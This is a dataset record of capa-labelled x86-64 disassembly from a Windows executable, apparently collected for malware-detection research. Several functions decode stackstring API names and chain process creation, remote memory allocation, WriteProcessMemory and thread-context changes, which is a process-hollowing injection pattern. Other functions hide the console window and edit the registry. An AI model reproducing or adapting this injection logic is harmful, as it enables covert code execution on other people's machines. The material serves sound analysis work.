joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b5c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xf0
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x70], WSAGetLastError
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rsp + 0xac], 1
xor eax, eax
mov word [rsp + 0xb0], ax
mov byte [rsp + 0x60], 0x43
mov byte [rsp + 0x61], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x62], 0x65
mov byte [rsp + 0x63], 0x61
mov byte [rsp + 0x64], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x65], 0x65
mov byte [rsp + 0x66], 0x50
mov byte [rsp + 0x67], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x68], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x69], 0x63
mov byte [rsp + 0x6a], 0x65
mov byte [rsp + 0x6b], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6d], 0x41
mov byte [rsp + 0x6e], 0
lea rcx, [0x1401b78f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x100]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14018b950
add rsp, 0xf0
pop rdi
ret

Function at 0x14000b6f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x40], 0x56
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x43], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x44], 0x75
mov byte [rsp + 0x45], 0x61
mov byte [rsp + 0x46], WSASetLastError
mov byte [rsp + 0x47], 0x41
mov byte [rsp + 0x48], WSASetLastError
mov byte [rsp + 0x49], WSASetLastError
mov byte [rsp + 0x4a], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x4c], 0x45
mov byte [rsp + 0x4d], 0x78
mov byte [rsp + 0x4e], 0
lea rcx, [0x1401b7910]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
movsxd rax, dword [rsp + 0x80]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000b7b2
xor eax, eax
jmp 0x14000b7db
movsxd rax, dword [rsp + 0x80]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14018b950
add rsp, 0x68
ret
Function at 0x14000b7f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x560
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x60], 0x10000b
mov byte [rsp + 0x530], 0x47
mov byte [rsp + 0x531], 0x65
mov byte [rsp + 0x532], 0x74
mov byte [rsp + 0x533], 0x54
mov byte [rsp + 0x534], 0x68
mov byte [rsp + 0x535], 0x72
mov byte [rsp + 0x536], 0x65
mov byte [rsp + 0x537], 0x61
mov byte [rsp + 0x538], 0x64
mov byte [rsp + 0x539], 0x43
mov byte [rsp + 0x53a], 0x6f
mov byte [rsp + 0x53b], 0x6e
mov byte [rsp + 0x53c], 0x74
mov byte [rsp + 0x53d], 0x65
mov byte [rsp + 0x53e], 0x78
mov byte [rsp + 0x53f], 0x74
mov byte [rsp + 0x540], 0
lea rcx, [0x1401b7930]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x500], rax
lea rdx, [rsp + 0x30]
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x500]
test eax, eax
jne 0x14000b907
xor eax, eax
jmp 0x14000ba88
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x508], 0x53
mov byte [rsp + 0x509], 0x65
mov byte [rsp + 0x50a], 0x74
mov byte [rsp + 0x50b], 0x54
mov byte [rsp + 0x50c], 0x68
mov byte [rsp + 0x50d], 0x72
mov byte [rsp + 0x50e], 0x65
mov byte [rsp + 0x50f], 0x61
mov byte [rsp + 0x510], 0x64
mov byte [rsp + 0x511], 0x43
mov byte [rsp + 0x512], 0x6f
mov byte [rsp + 0x513], 0x6e
mov byte [rsp + 0x514], 0x74
mov byte [rsp + 0x515], 0x65
mov byte [rsp + 0x516], 0x78
mov byte [rsp + 0x517], 0x74
mov byte [rsp + 0x518], 0
lea rcx, [0x1401b7950]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x508]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x548], rax
lea rdx, [rsp + 0x30]
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x548]
test eax, eax
jne 0x14000b9e8
xor eax, eax
jmp 0x14000ba88
mov byte [rsp + 0x520], 0x52
mov byte [rsp + 0x521], 0x65
mov byte [rsp + 0x522], 0x73
mov byte [rsp + 0x523], 0x75
mov byte [rsp + 0x524], 0x6d
mov byte [rsp + 0x525], 0x65
mov byte [rsp + 0x526], 0x54
mov byte [rsp + 0x527], 0x68
mov byte [rsp + 0x528], 0x72
mov byte [rsp + 0x529], 0x65
mov byte [rsp + 0x52a], 0x61
mov byte [rsp + 0x52b], 0x64
mov byte [rsp + 0x52c], 0
lea rcx, [0x1401b7970]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x520]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x20]
mov eax, 1
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.14018b950
add rsp, 0x560
pop rdi
ret
Function at 0x14000bab0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x190
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov byte [rsp + 0x80], 0
lea rax, [rsp + 0x81]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
mov byte [rsp + 0x38], 0x47
mov byte [rsp + 0x39], 0x65
mov byte [rsp + 0x3a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3b], 0x53
mov byte [rsp + 0x3c], 0x79
mov byte [rsp + 0x3d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3f], 0x65
mov byte [rsp + 0x40], WSASetLastError
mov byte [rsp + 0x41], 0x44
mov byte [rsp + 0x42], 0x69
mov byte [rsp + 0x43], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x44], 0x65
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x47], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x48], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x49], 0x79
mov byte [rsp + 0x4a], 0x41
mov byte [rsp + 0x4b], 0
lea rcx, [0x1401b7990]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov edx, 0xff
lea rcx, [rsp + 0x80]
call qword [rsp + 0x68]
mov byte [rsp + 0x83], 0
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x80]
call fcn.14000b5c0
test eax, eax
jne 0x14000bbb1
xor eax, eax
jmp 0x14000bc8d
mov byte [rsp + 0x58], 0x56
mov byte [rsp + 0x59], 0x69
mov byte [rsp + 0x5a], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x5b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x5c], 0x75
mov byte [rsp + 0x5d], 0x61
mov byte [rsp + 0x5e], WSASetLastError
mov byte [rsp + 0x5f], 0x41
mov byte [rsp + 0x60], WSASetLastError
mov byte [rsp + 0x61], WSASetLastError
mov byte [rsp + 0x62], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x63], 0x63
mov byte [rsp + 0x64], 0x45
mov byte [rsp + 0x65], 0x78
mov byte [rsp + 0x66], 0
lea rcx, [0x1401b79b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rsp + 0x1a8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax]
call qword [rsp + 0x50]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14000bc77
mov r8d, dword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax]
call fcn.14000b6f0
test eax, eax
jne 0x14000bc7b
xor eax, eax
jmp 0x14000bc8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x1b0]
call fcn.14000b7f0
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14018b950
add rsp, 0x190
pop rdi
ret
Function at 0x14000db30
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x44], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000dbb1
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, [0x1401b8128]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rsp + 0x44], 0xa
jbe 0x14000dd42
mov r8d, 0x7d0
xor edx, edx
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14018c0a0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, str.IpDate
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rax, qword [rsp + 0x60]
add rax, 0x1e
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8148]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x21c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8150]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x258
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8158]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x25c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8160]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x45a
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8168]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x498
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8170]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x49c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8178]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x69a
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8180]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
mov rax, qword [rsp + 0x60]
add rax, 0x6d8
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8188]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.4_.4202:zb0.1:bb
call fcn.14000dae0
add rsp, 0x58
ret
Function at 0x14000e380
Capabilities:
Create thread
Hide graphical window

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
call fcn.14000dd50
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14000e160]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x48
ret
Function at 0x14001a958
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14008aed0
mov rsi, rax
test rax, rax
je 0x14001a9d4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14001a9cf
cmp dword [rbx], 0x40
jb 0x14001a9cf
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14001a9cf
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14001a9d8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140022464
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x1400224cc
call fcn.140078f00
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400224cc
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x1400224ee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140021e50
mov esi, eax
test rdi, rdi
je 0x1400224ec
test rbx, rbx
je 0x1400224ec
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x140025098
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xc8], 0
jne 0x1400250d6
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x14002518a
call fcn.140062458
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x1400250f5
mov ecx, 0x80004005
call fcn.14000a860
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14018d410
test eax, eax
je 0x14002515d
cmp eax, 0xc
je 0x140025157
cmp eax, 0x16
je 0x140025151
cmp eax, 0x22
je 0x140025151
cmp eax, 0x50
je 0x14002515d
call fcn.14001090c
int3
call fcn.14001090c
int3
call fcn.1400108c4
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x140025188
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14003ec84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r13, rcx
test r8, r8
jne 0x14003ecb5
call fcn.140078f00
mov rdi, qword [rax + 0x18]
mov r8, qword [0x14025f318]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x14003ecd4
xor eax, eax
jmp 0x14003ed20
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14003ecd0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x14003ed15
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r12
mov rcx, r13
mov r8d, eax
call fcn.14003eb48
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140067d74
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x140067dee
xor r8d, r8d
call fcn.140067ca8
mov rsi, rax
test rax, rax
jne 0x140067daa
mov eax, edi
jmp 0x140067e04
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x140067da6
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140068ed4
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140068f37
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140068f4b
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140068f4b
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x140068f50
cmp dword [rcx + 8], 0
je 0x140068f4b
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x140068f50
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14006c878
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x14006c8ea
call fcn.140078f00
mov r8d, 0xf0
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14006c8ea
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14006c937
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x14006c917
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x14006c917
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0xc0], 0
je 0x14006c935
mov rcx, qword [rbp + 0xc0]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x14006eb44
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.140078f00
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14006eba0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.14006e5d4
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x14006ec34
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14006ec73
cmp dword [rcx + 0xd8], 0
jne 0x14006ec73
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.140078f00
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14006ebd8
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400c7afc
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x1400c7b22
mov r8, rdx
mov rdx, qword [rbx]
call fcn.140068ed4
jmp 0x1400c7b89
cmp byte [0x140261468], 0
jne 0x1400c7b66
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c7b56
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140261460], rax
jmp 0x1400c7b5d
mov rax, qword [0x140261460]
mov byte [0x140261468], 1
jmp 0x1400c7b6d
mov rax, qword [0x140261460]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x1400c7b83
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x1400c7b89
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400c7ce4
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1400c7cf5
xor eax, eax
jmp 0x1400c7d23
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret